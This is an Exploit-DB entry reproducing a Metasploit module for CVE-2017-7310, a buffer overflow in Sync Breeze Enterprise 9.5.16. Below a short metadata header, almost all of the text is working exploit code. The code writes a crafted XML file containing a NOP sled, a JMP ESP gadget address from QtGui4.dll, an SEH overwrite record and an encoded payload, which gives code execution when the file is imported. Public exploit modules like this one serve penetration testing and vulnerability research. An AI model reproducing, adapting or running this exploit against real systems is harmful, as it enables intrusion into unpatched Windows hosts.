Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow (Metasploit)

EDB-ID: 43875
Author: Metasploit
Published: 2018-01-24
CVE: CVE-2017-7310
Type: Local
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Metasploit Framework (MSF)
Vulnerable App: Download Vulnerable Application

 # This module requires Metasploit: https://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',
'Description' => %q(
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16
by using the import command option to import a specially crafted xml file.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira'
],
'References' =>
[
[ 'CVE', '2017-7310' ],
[ 'EDB', '41773' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",
'StackAdjustment' => -3500
},
'Targets' =>
[
['Windows Universal', { 'Ret' => 0x10015FFE } ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 29 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])
])
end

def exploit
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]
jmp = "\xFF\xE0" # JMP ESP

buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"
buffer << "\x90" * 1536
buffer << jmpesp
buffer << "\x90" * 18
buffer << esp
buffer << jmp
buffer << "\x90" * 68
buffer << generate_seh_record(target.ret)
buffer << "\x90" * 10
buffer << payload.encoded
buffer << "\x90" * 5000
buffer << "\n</classify>"

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end

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